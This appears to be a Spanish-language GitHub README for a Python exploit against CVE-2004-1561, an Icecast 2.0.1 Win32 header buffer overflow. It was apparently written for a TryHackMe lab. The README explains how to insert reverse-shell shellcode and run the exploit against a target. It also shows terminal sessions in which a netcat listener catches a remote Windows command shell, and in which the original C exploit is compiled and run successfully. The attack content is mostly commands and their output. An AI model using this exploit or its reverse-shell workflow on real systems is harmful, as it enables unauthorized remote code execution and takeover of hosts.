ivanitlearning/cve-2004-1561Icecast Header Overwrite buffer overflow RCE < 2.0.1 (Win32)
Python 3 Icecast Header Overwrite desbordamiento de búfer RCE < 2.0.1 (Win32), reescrito a partir de este módulo de Metasploit. Lo reescribí desde el módulo de Metasploit porque no pude hacer funcionar este.
Reemplazar el shellcode de la reverse shell en el exploit, llamarlo con el argumento para el servidor y puerto remotos.
root@Kali:~/TryHackme/Ice# ./icecast.py 192.168.92.133 8000
¡Hecho!
Listener de reverse shell:
root@Kali:~/TryHackme/Ice# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49211
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Icecast2 Win32>
Conseguí que funcionara el exploit original. Editado según esto.
root@Kali:~/TryHackme/Ice# gcc 568-edit.c -o 568
root@Kali:~/TryHackme/Ice# ./568 192.168.92.133
Icecast <= 2.0.1 Win32 remote code execution 0.1
by Luigi Auriemma
e-mail: [email protected]
web:http://aluigi.altervista.org
shellcode add-on by Delikon
www.delikon.de
- target 192.168.92.133:8000
- send malformed data
Server IS vulnerable!!!
En el listener
root@Kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49238
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Icecast2 Win32>